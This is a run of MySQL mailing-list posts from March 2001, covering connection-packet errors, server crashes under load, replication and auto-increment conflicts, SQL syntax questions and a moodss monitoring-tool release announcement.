AW: Got an error reading communication packets
hi van thank you for responding. but i have gcc-2.95.2-149 installed (a suse 7.1 version). so i think this isn't the problem... i tried several other things: i changed to other auth_mysql modules for apache: didn't help i used apache 1.3.17: didn't help i tried it first with php 4.0.4pl1: didn't help (by the way: is there any way to get the zend optimizer for php 4.0.5pl1?) so, any new idea? steven -Ursprngliche Nachricht- Von: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]Im Auftrag von Van Gesendet: Dienstag, 20. Mrz 2001 04:47 An: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Betreff: Re: Got an error reading communication packets Steven Glogger wrote: after upgrading to 3.23.35 (from 3.22.32) i've got several times: 010319 20:45:18 Aborted connection 4 to db: 'unconnected' user: 'admin' host: `localhost' (Got an error reading communication packets) it's running on a productive server, but it's not working correctly. some infos: apache 1.3.19, Linux 2.2.18-SMP #1 SMP Sat Jan 20 07:41:17 GMT 2001 i686 unknown, PHP 4.0.5 RC1 any idea what it is? greetings steven Steven: Check your compiler. I was getting this when compiling with egcs-2.91. Upgraded to 2.95.2 and all is happy, now. Van -- = Linux rocks!!! http://www.dedserius.com = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Mysql restarts at 100% CPU
hi, i've not reconfigured linuxthreads. /proc/sys/kernel/threads-max has 57344. At the time when the machine hits 100% CPU, apache processes are taking most of the CPU time, and i have around 250 processes on the entire system, with around 10-15 running processes. mysqladmin status shows me around 15 mysql threads running. Agreed that something like this should not happen, the CPU touching 100% is not an acceptable situation, but what i'm worried abt is mysql crashing. If the OS goes for a toss, i know that it is a problem with the load, but mysql is getting something like a 100-150 queries at that time. Tx. Vinod --- "Gerald L. Clark" [EMAIL PROTECTED] wrote: You have mysqld set for 2000 connections. How many threads do you have Linux configured for, and how many are open when Mysqld crashs? vinod p wrote: hi, thanks for the interest. The error log just prints an incomplete backtrace that is exactly the same after every crash. I ran the incomplete backtrace through resolve, and it showed me functions such as thread start... etc... This is the backtrace that i've been getting for all the crashes - --- Cannot determine thread, ebp=0xb24c, backtrace may not be correct stack range sanity check, ok, backtrace follows 0x40077552 0x40076f0f 0x80bdb6a 0x80bdfdf 0x80bd75d 0x400f99cb 0x80884b1 New value of ebp failed sanity check terminating backtrace We have been doing testing of our software and in all the runs, with all the mysql servers, this problem has been experienced. As soon as the server reaches 100% CPU, the mysql server restarts. Without a single exception till now. The servers are RedHat Linux 6.2 with kernel 2.4.2, PHP 4.0.4pl1, apache 1.3.14 and mysql 3.23.32. The my.cnf file i'm using is this - [mysqld] port= 3306 socket = /tmp/mysql.sock skip-locking set-variable= key_buffer=640M set-variable= max_allowed_packet=10M set-variable= table_cache=640 set-variable= sort_buffer=6M set-variable= record_buffer=6M set-variable= thread_cache=16 set-variable= thread_concurrency=16 set-variable= myisam_sort_buffer_size=64M log-bin server-id = 1 set-variable= max_connections=2000 set-variable= max_connect_errors=1 set-variable= back_log=2900 set-variable= connect_timeout=15 set-variable= wait_timeout=57600 set-variable= interactive_timeout=57600 Tx. Vinod. --- "Jeremy D. Zawodny" [EMAIL PROTECTED] wrote: On Mon, Mar 19, 2001 at 12:34:30AM +, vinod p wrote: my mysql server restarts automatically when the machine touches 100% CPU usage. any ideas why? What does the error log say? Anything? -- Jeremy D. Zawodny, [EMAIL PROTECTED] Technical Yahoo - Yahoo Finance Desk: (408) 328-7878Fax: (408) 530-5454 Cell: (408) 439-9951 Do You Yahoo!? Get your free @yahoo.co.in address at http://mail.yahoo.co.in - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php Do You Yahoo!? For regular News updates go to http://in.news.yahoo.com - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: AW: Got an error reading communication packets
Steven Glogger wrote: hi van thank you for responding. but i have gcc-2.95.2-149 installed (a suse 7.1 version). so i think this isn't the problem... i tried several other things: i changed to other auth_mysql modules for apache: didn't help i used apache 1.3.17: didn't help i tried it first with php 4.0.4pl1: didn't help (by the way: is there any way to get the zend optimizer for php 4.0.5pl1?) so, any new idea? steven Steven: I'm still getting the same on my production server, but, the queries and updates are still working. It isn't your applications, it's your db. Don't work with the Apache/auth_mysql modules. They're not the problem. Curious... That's a pretty long stretch from 3.22.32 to 3.23.35. Did you shutdown the dbases and do an isamchk /path-to-mysql-dbs/*/*ISD or myisamchk /path-to-mysql-dbs/*/*MYI ? MyISAM's better. Good options when making such an upgrade are: {My db's are on their own partition /mysql} myisamchk -o /mysql/*/*MYI myisamchk -evi /mysql/*/*MYI Anyone else want to chime in, go for it. Might help. Best Regards, Van -- = Linux rocks!!! http://www.dedserius.com = - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
ANNOUNCE: moodss-14.1
Hi everybody: here is a new version of moodss. Check it out! (or at least the screenshots at http://jfontain.free.fr/moodss3.gif or http://jfontain.free.fr/moodss4.gif :). Notes: - moodss modules can now be written in Python! Sample randpy and minipy modules are provided. Documentation (see randpy.py file) needs improving. Feedback is highly welcomed. (modules can also be written in Perl, and Tcl of course) - please let me know if you are interested in writing modules in Ruby (I'm on a roll :-) ### CHANGES ### --- version 14.1 --- allow multiple concurrent Python modules (tclpython or tclpython2 version 2.0.1 required) implemented dynamic loading of Python modules module programmers: module data display was updated even if updates counter was not increased, whereas now that condition is actually checked cpustats module could fail with a division by zero error on repetitive updates MySQL myvars module updated to support 3.23.34 and 3.23.35 servers ### README ### This is moodss (Modular Object Oriented Dynamic SpreadSheet) version 14.1. Moodss won in the Best System Admin Technology category (Tcl Tips and Tricks, Valuable Real World Programming Examples) at the O'Reilly Tcl/Tk 1999 Conference. Linux Magazine calls it a "lifesaver". Tucows gives it 5 stars (cows or penguins :-). Moodss is a modular application. It displays data described and updated in one or more modules, which can be specified in the command line or dynamically loaded or unloaded while the application is running. Data is originally displayed in tables. Graphical views (graph, bar, 3D pie charts, ...), summary tables (with current, average, minimum and maximum values) and free text viewers can be created from any number of table cells, originating from any of the displayed viewers. Thresholds can be set on any number of cells. Specific modules can easily be developed in the Tcl, Perl and Python scripting languages or in C. A thorough and intuitive drag'n'drop scheme is used for most viewer editing tasks: creation, modification, type mutation, destruction, ... and thresholds creation. Table rows can be sorted in increasing or decreasing order by clicking on column titles. The current configuration (modules, tables and viewers geometry, ...) can be saved in a file at any time, and later reused through a command line switch, thus achieving a dashboard functionality. The module code is the link between the moodss core and the data to be displayed. All the specific code is kept in the module package. Since module data access is entirely customizable (through C code, Tcl, Perl, Python, HTTP, ...) and since several modules can be loaded at once, applications for moodss become limitless. For example, thoroughly monitor a dynamic web server on a single dashboard with graphs, using the Apache, MySQL, cpustats, memstats, ... modules. If you have replicated servers, dynamically add them to your view, even load the snmp module on the fly and let your imagination take over... Along with a core trace module, random, ps, cpustats, memstats, diskstats, mounts, route, arp, kernmods, netdev, pci, system, MySQL (myquery, mystatus, myprocs, myvars) modules for Linux, ping, snmp and snmptrap for UNIX, apache and apachex modules are included (running "wish moodss ps cpustats memstats" mimics the "top" application with a graphic edge and remote monitoring capability). Thorough help is provided through menus, widget tips, a message area, a module help window and a global help window with a complete HTML documentation. Moodss is multi-langual thanks to Tcl internationalization capabilities. So far only English and partially French are supported. Help with other languages will be very warmly welcomed. Development of moodss is continuing and as more features are added in future versions, backward module code compatibility will be maintained. I cannot thank the authors of the tkTable, BLT, MIME/SMTP and the HTML libraries enough for their great work. In order to run moodss, you need to install the following packages (unless you can use the rpm utility, see below): Tcl/Tk 8.3.1 or above, at (or at a mirror near you) http://dev.scriptics.com/ or ftp://ftp.scriptics.com/ the latest tkTable widget library at: http://www.hobbs.wservice.com/tcl/main.html the latest BLT library at: ftp://tcltk.sourceforge.net/pub/tcltk/blt/ eventually the latest tclperl library for writing modules in Perl, or the latest tclpython library for writing modules in Python at: http://jfontain.free.fr/ (see the INSTALL file for complete instructions, for UNIX and also Windows platforms). You also have the option of using the moodss rpm file (also in my homepage), if you are using a Redhat Linux system (6.0 or above). You can find the required tcl, tk, tktable, blt, tcpperl and other rpms at: http://jfontain.free.fr/ Whether you like it (or hate it), please let me know. I would like to hear about bugs and improvements you would like to see. I will correct the
select ... having bug?
small problems with query below... my fault? mysql desc poll_answer; +-+-+--+-+-+---+ | Field | Type|Null | Key | Default | Extra | +-+-+--+-+-+---+ | poll_id | int(10) | | | 0 | | | cnt | int(10) | | | 0 | | | answer | varchar(60) | | | | | +-+-+--+-+-+---+ 3 rows in set (0.00 sec) mysql select answer from poll_answer having cnt=1; ERROR 1054: Unknown column 'cnt' in 'having clause' mysqladmin Ver 8.18 Distrib 3.23.35, for pc-linux-gnu on i686 -- Copyright (C) 2000 MySQL AB MySQL Finland AB TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 3.23.35 Protocol version 10 Connection Localhost via UNIX socket UNIX socket /var/lib/mysql/mysql.sock Uptime: 3 days 10 hours 24 min 20 sec Threads: 1 Questions: 4192 Slow queries: 0 Opens: 116 Flush tables: 1 Open tables: 23 Queries per second avg: 0.014 -- Piotr Gapinski mailto:[EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Renaming and/or copying a database
On Tue, Mar 20, 2001 at 08:27:39AM +0100, Ren Tegel wrote: copying tables between databases: create table db2.table2 select * from db1.table1; however, you'll loose meta data (indexes) on this table, so you'd have to create them again. second method: use the explorer or a dos shell to rename any table or db as shown in the \mysql\bin directory. From within the sql client the name of a db cannot be changed afaik, but table names can. Read he docs on this issue ('alter table' syntax). Third: RENAME TABLE tbl_name TO new_table_name; (see http://www.mysql.com/doc/R/E/RENAME_TABLE.html ) Fourth: ALTER TABLE tbl_name RENAME [TO] new_table_name; (see http://www.mysql.com/doc/A/L/ALTER_TABLE.html ) Depending on the version of MySQL you use, these may not be supported. I use the fourth one on 3.23.33. Regards, Fred. - Original Message - From: "Marko Milutinovi" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 8:05 AM Subject: Renaming and/or copying a database Hi! I'm running MySQL on Win NT 4. I'm trying to rename a database from my program, but I haven't found any inforamtion about this on the MySQL site. Can anybody help me? Can a database named 2001 be created? Can a database be copied to another one via SQL statements? regards, m@rko - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Mutual Replication Fails Occasionally Under Heavy Stress with Master-Slave/Slave-Master Configuration
Description: While setting up a mutual master-slave/slave-master MySQL application for High-Availability, redundancy, and load-balancing, the autoincrement functionality of disparate servers seem to be detached from replication functionality. It's likely the replication code can be improved to consider multiple master-slave arrangements trivially. How-To-Repeat: Get yourself a 64-bit DEC Alpha Linux server (Not Necessary, but, Fun): Linux tempe.dedserius.com 2.4.2 #3 Sun Feb 25 16:07:31 MST 2001 alpha unknown root@tempe:~# cat /proc/cpuinfo cpu : Alpha cpu model : EV5 cpu variation : 0 cpu revision: 0 cpu serial number : Linux_is_Great! system type : Alcor system variation: 0 system revision : 0 system serial number: MILO- cycle frequency [Hz]: 300014100 est. timer frequency [Hz]: 1024.00 page size [bytes] : 8192 phys. address bits : 40 max. addr. space # : 127 BogoMIPS: 593.48 kernel unaligned acc: 106 (pc=fc4f26e0,va=fc000417a836) user unaligned acc : 1 (pc=1200cda00,va=2f8a912) platform string : N/A cpus detected : 0 root@tempe:~# free total used free sharedbuffers cached Mem:189440 184224 5216 0 42696 17808 -/+ buffers/cache: 123720 65720 Swap: 257008 3104 253904 In separate terminals the following was run from Tempe on a 100/Mbps HUB-based network: Tempe passes data at 8MBytes/Sec over his NIC. Connectivity is not likely to be a factor. /usr/local/apache/bin/ab -n 100 -c 20 http://scottsdale.ds.lan/index.php3 /usr/local/apache/bin/ab -n 100 -c 20 http://pima.ds.lan/index.php3 The index.php3 script does many things, but, included is an insert to a db with 2 tables: Newstats with the following structure: CREATE TABLE newstats ( nid int(10) NOT NULL auto_increment, Referer varchar(150) NOT NULL, UserAgent varchar(75) NOT NULL, ScriptFilename varchar(150) NOT NULL, RemoteHost varchar(50) NOT NULL, RemoteAddr varchar(15) NOT NULL, HitTime datetime DEFAULT '-00-00 00:00:00' NOT NULL, Host varchar(25) NOT NULL, AcceptLanguage varchar(15) NOT NULL, QryString varchar(150) NOT NULL, PRIMARY KEY (nid), KEY HitTime (HitTime), KEY RemoteHost (RemoteHost), KEY RemoteAddr (RemoteAddr), KEY ScriptFilename (ScriptFilename) ); CREATE TABLE pagestats ( uri varchar(96) NOT NULL, hits bigint(21) NOT NULL, since datetime, PRIMARY KEY (uri) ); CREATE TABLE excludes ( ip varchar(25) ); The query selects from excludes and if the host isn't in there does an insert into both of the first tables. After the query on excludes, it does a select from both tables. So for each hit, there's a select on excludes and an insert if not found, then a select on the tables. Queries: SELECT * FROM excludes WHERE ip = '192.168.1.2' UPDATE pagestats SET hits=hits+1 WHERE uri = '/www/www.dedserius.com/index.php3' INSERT INTO newstats VALUES ('', '', 'ApacheBench/1.3c', '/www/www.dedserius.com/index.php3', 'tempe.ds.lan', '192.168.1.2', '20010320 00:34:47', 'scottsdale.ds.lan', '', '/index.php3') Scottsdale is a Dual 400 MHz Celeron with 128MBytes RAM; Pima is a Single PII 200 MHz with 64MBytes RAM; Both machines run Slackware Linux 7.2; patches for GLIBC 2.2. scottsdale:/mysql# gcc -v Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.2/specs gcc version 2.95.2 19991024 (release) scottsdale:/mysql# uname -a Linux scottsdale 2.3.99-pre9 #2 SMP Fri Feb 23 16:14:56 MST 2001 i686 unknown root@pima:/mysql# gcc -v Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.2/specs gcc version 2.95.2 19991024 (release) root@pima:/mysql# uname -a Linux pima 2.4.2 #2 Wed Mar 14 01:56:45 MST 2001 i586 unknown MySQL-3.23.33 built from source. ./configure --with-mysqld-user=mysql --localstatedir=/mysql I have public and private name servers. Public servers end with dedserius.com. Private with ds.lan and reverse nslookup on privates function. DBase host authentication is based on DNS not Host lookups. This is for future implementation of round-robbin DNS decisions. The replication succeeded when hitting Scottsdale, first. Failed when hitting Pima first. Failure was due to autoincrement field containing duplicate value during the benchmark. my.cnf: Scottsdale: # The MySQL server [mysqld] port= 3306 log-bin = scottsdale-bin.log server-id
query with or !=
Hi, I have a strange problem happening. I have created an application on a PC with Mysql-3.23.22-beta and I have different results than on a standard Mysql-3.23.35. The main problem seems to be at the following: Say have 6 rows with a column name "actif", out of these 6 rows 3 have a NULL value in the actif column and three have the value "No" is I do select count(*) from tablename where actif != "Yes" ; or select count(*) from tablename where actif "Yes" ; I get the following results: - development machine: I get results = 6 - production machine: I get results = 3 Note all rows are different than "Yes", only 3 of them are actually NULL. OK so that is a fact, but I would like to know if it is just a setting I can change in the database or if I have to modify the whole program to make sure these cases don't happen. Gilles _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Renaming and/or copying a database
On Tue, Mar 20, 2001 at 10:03:34AM +0100, Fred van Engen wrote: Third: RENAME TABLE tbl_name TO new_table_name; (see http://www.mysql.com/doc/R/E/RENAME_TABLE.html ) Fourth: ALTER TABLE tbl_name RENAME [TO] new_table_name; (see http://www.mysql.com/doc/A/L/ALTER_TABLE.html ) Depending on the version of MySQL you use, these may not be supported. I use the fourth one on 3.23.33. Sorry, I misread your question. You wrote databases i.s.o. tables. I see no way to rename these from MySQL either. Fred. - Original Message - From: "Marko Milutinovi" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 8:05 AM Subject: Renaming and/or copying a database Hi! I'm running MySQL on Win NT 4. I'm trying to rename a database from my program, but I haven't found any inforamtion about this on the MySQL site. Can anybody help me? Can a database named 2001 be created? Can a database be copied to another one via SQL statements? regards, m@rko - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Wats the CREATE TABLE statement?
I would like to know how to write a SQL statement if i have a composite key present in the table. eg. my table is APPCODE EMAILID EMAIL 1 ML1 [EMAIL PROTECTED] 1 ML2 [EMAIL PROTECTED] 2 ML1 [EMAIL PROTECTED] 3 ML1 [EMAIL PROTECTED] 4 ML1 [EMAIL PROTECTED] 4 ML2 [EMAIL PROTECTED] as you can see in the above table . emailids per appcode is maximum 2., hence each appcode will repeat. Also the combination of APPCODE+EMAILID helps to identify a given row uniquely. ie. APPCODE + EMAILID are a combined primary key. but i havent able to figure out how to go bout writing the SQL code. does any1 know what the SQL CREATE TABLE statement will be? Website: http://www.ilug-bom.org.in/ Ftp site: ftp.ilug-bom.org.in Chat: irc.ilug-bom.org.in Linuxers mailing list: [EMAIL PROTECTED] http://ilug-bom.org.in/mailman/listinfo/linuxers Get free email and a permanent address at http://www.netaddress.com/?N=1 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: very strange but reproducable error in 3.23.35
"Gerald L. Clark" wrote: This does not answer your problem, but 'timestamp' is a reserved word. ...not the complete truth ;-) : 7.34 Is MySQL picky about reserved words? A common problem stems from trying to create a table with column names that use the names of datatypes or functions built into MySQL, such as TIMESTAMP or GROUP. You're allowed to do it (for example, ABS is an allowed column name), but whitespace is not allowed between a function name and the `(' when using functions whose names are also column names. ...but yes, i re-checked it without "timestamp" - no change! regards, Jan Legenhausen - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: AW: AW: Got an error reading communication packets
hi van ok, here we are: CONFIGURE/INSTALLATION === i installed it with: ./configure --datadir=/usr/local/mysql/data --localstatedir=/www/server/dat abases make make install cd scripts ./mysql_install_db cd ../support-files chmod 755 mysql.server cp mysql.server /etc/rc.d/mysql.server STARTING THE DAEMON /etc/rc.d/mysql.server start root@wpm(/usr/local/mysql) ps ax | grep mysql 12488 ?S 0:00 sh /usr/local/bin/safe_mysqld --user=root --pid-file=/www/server/databases/wpm. pid --datadir=/www/server/databases 12512 ?S 0:00 /usr/local/libexec/mysqld --basedir=/usr/local --datadir=/www/server/databas es --user=root --pid-file=/www/server/databases/wpm.pid --skip-locking 12514 ?S 0:00 /usr/local/libexec/mysqld --basedir=/usr/local --datadir=/www/server/databas es --user=root --pid-file=/www/server/databases/wpm.pid --skip-locking 12515 ?S 0:00 /usr/local/libexec/mysqld --basedir=/usr/local --datadir=/www/server/databas es --user=root --pid-file=/www/server/databases/wpm.pid --skip-locking 23390 pts/3S 0:00 grep mysql = /etc/my.cnf === # Example mysql config file. # You can copy this to one of: # /usr/local/etc/my.cnf to set global options, # mysql-data-dir/my.cnf to set server-specific options (in this # installation this directory is /usr/local/var) or # ~/.my.cnf to set user-specific options. # # One can use all long options that the program supports. # Run the program with --help to get a list of available options # This will be passed to all mysql clients [client] #password = my_password port= 3306 socket = /tmp/mysql.sock # Here is entries for some specific programs # The following values assume you have at least 32M ram # The MySQL server [mysqld] #port= 3306 socket = /tmp/mysql.sock skip-locking set-variable= key_buffer=16M set-variable= max_allowed_packet=1M set-variable= thread_stack=128K set-variable= max_connections=1024 set-variable= wait_timeout=600 # Start logging #log [mysqldump] quick set-variable= max_allowed_packet=16M [mysql] no-auto-rehash [isamchk] set-variable= key_buffer=16M LOG FILE = 010303 18:30:11 Aborted connection 1727 to db: 'unconnected' user: 'admin' host: `localhost' (Got an error reading communication pa ckets) 010303 18:33:11 Aborted connection 1729 to db: 'unconnected' user: 'admin' host: `localhost' (Got an error reading communication pa ckets) 010303 18:33:17 Aborted connection 1730 to db: 'server_admin' user: 'admin' host: `localhost' (Got an error reading communication p ackets) 010303 18:33:17 Aborted connection 1731 to db: 'server_admin' user: 'admin' host: `localhost' (Got an error reading communication p ackets) [this message is what i got all 3 minutes (ok, my whatsup is checking every 3 minutes if the daemon is working, but he is connecting only with a mysql-client to see, if its working)] i think maybe it's a problem with the libraries. but i tried it on 2 different linux (suse 7.1 and 6.4) systems, both smp systems, and on both i got the same error... sounds strange to me greetings thank you -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of Van Sent: Tuesday, March 20, 2001 10:31 AM To: [EMAIL PROTECTED] Subject: Re: AW: AW: Got an error reading communication packets Steven Glogger wrote: hi van thank you for the tip. on a test server i installed a fresh version of mysql 3.23.35. so... i think dont have to myisamchk the files mysql has been compiled with a simple ./configure; make; make install procedure but the result is: not working... this is a strange error. i found many mailinglist entries about this problem, but no one seems to have solved this problem... any futher ideas? steven Steven: Gotta call it a night, but, if you can send some snippets from the logs, I could probably help you. Strip the passwords out. I don't wanna see 'em. In the configure did you set a --localstatedir=/somedir/ directive? If so, you'll see a log entry. Do you have an /etc/my.cnf file? Do you start with mysqld or safe_mysqld? ps ax | grep mysql Flash that output strip passwds echo `I don\'t want \'em` These'll help. I don't do RedHat, but, understand it pretty well, but, the issue we're working with is pretty insidious. I still get 'em on my server in MI. I'm okay w' it since the li'l bastard is still doing his job 155 days after his last reboot, but, I really want to get a bead on this lost communications packets problem. I'm pretty sure it's a library issue. Let me know what you find. As-a-gwin' ta sleep. Peace, Van -- = Linux rocks!!! http://www.dedserius.com
Re: Wats the CREATE TABLE statement?
what about: CREATE UNIQUE INDEX id ON thistable (APPCODE, EMAILID); regards, rene - Original Message - From: "Duke" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 4:02 PM Subject: Wats the CREATE TABLE statement? I would like to know how to write a SQL statement if i have a composite key present in the table. eg. my table is APPCODE EMAILID EMAIL 1 ML1 [EMAIL PROTECTED] 1 ML2 [EMAIL PROTECTED] 2 ML1 [EMAIL PROTECTED] 3 ML1 [EMAIL PROTECTED] 4 ML1 [EMAIL PROTECTED] 4 ML2 [EMAIL PROTECTED] as you can see in the above table . emailids per appcode is maximum 2., hence each appcode will repeat. Also the combination of APPCODE+EMAILID helps to identify a given row uniquely. ie. APPCODE + EMAILID are a combined primary key. but i havent able to figure out how to go bout writing the SQL code. does any1 know what the SQL CREATE TABLE statement will be? Website: http://www.ilug-bom.org.in/ Ftp site: ftp.ilug-bom.org.in Chat: irc.ilug-bom.org.in Linuxers mailing list: [EMAIL PROTECTED] http://ilug-bom.org.in/mailman/listinfo/linuxers Get free email and a permanent address at http://www.netaddress.com/?N=1 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Warning: Got signal 14 from thread X
Bonjour, Here is my setup : Mysql-3.23.35 complied from sources with : ./configure --prefix=/usr/local/mysql --without-bench --enable-thread-safe-client --with-innobase System: SunOS sun01381 5.8 Generic_108528-04 sun4u sparc SUNW,Ultra-80 Architecture: sun4 Some paths: /bin/perl /usr/ccs/bin/make /usr/local/bin/gmake /usr/local/bin/gcc /usr/ucb/cc GCC: Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.8/2.95.2/specs gcc version 2.95.2 19991024 (release) /etc/my.cnf [mysqld] port= 3306 socket = /tmp/mysql.sock skip-locking skip-name-resolve set-variable= key_buffer=128M set-variable= max_allowed_packet=1M set-variable= table_cache=256 set-variable= sort_buffer=5M set-variable= record_buffer=1M set-variable= myisam_sort_buffer_size=64M set-variable= thread_cache=8 set-variable= thread_concurrency=8 # Try number of CPU's*2 myisam-recover = BACKUP,FORCE # Innobase innobase_data_home_dir = /usr/local/mysql/var/innobase_data/ innobase_data_file_path = ibdata1:500M set-variable = innobase_mirrored_log_groups=1 innobase_log_group_home_dir = /usr/local/mysql/var/innobase_logs/ set-variable = innobase_log_files_in_group=3 set-variable = innobase_log_file_size=5M set-variable = innobase_log_buffer_size=8M innobase_flush_log_at_trx_commit=0 innobase_log_arch_dir = innobase_log_group_home_dir innobase_log_archive=0 set-variable = innobase_buffer_pool_size=64M set-variable = innobase_additional_mem_pool_size=2M set-variable = innobase_file_io_threads=4 set-variable = innobase_lock_wait_timeout=50 Here is my problem : With even no queries on the server, I continually have the "Warning: Got signal 14 from thread X" in the log of Mysqld : 010320 10:48:46 mysqld started Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections 010320 10:49:32 Warning: Got signal 14 from thread 4 010320 10:49:34 Warning: Got signal 14 from thread 3 010320 10:49:36 Warning: Got signal 14 from thread 5 010320 10:49:38 Warning: Got signal 14 from thread 4 010320 10:49:40 Warning: Got signal 14 from thread 4 010320 10:49:42 Warning: Got signal 14 from thread 6 010320 10:49:44 Warning: Got signal 14 from thread 5 010320 10:49:46 Warning: Got signal 14 from thread 4 010320 10:49:48 Warning: Got signal 14 from thread 3 010320 10:49:50 Warning: Got signal 14 from thread 5 010320 10:49:52 Warning: Got signal 14 from thread 4 ... I did not have that with 3.23.32 ... but I did not have Innobase with 3.23.32 ... Is it a known bug ? Regards, Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MySQL 3.22.32 and RedHat 7.0
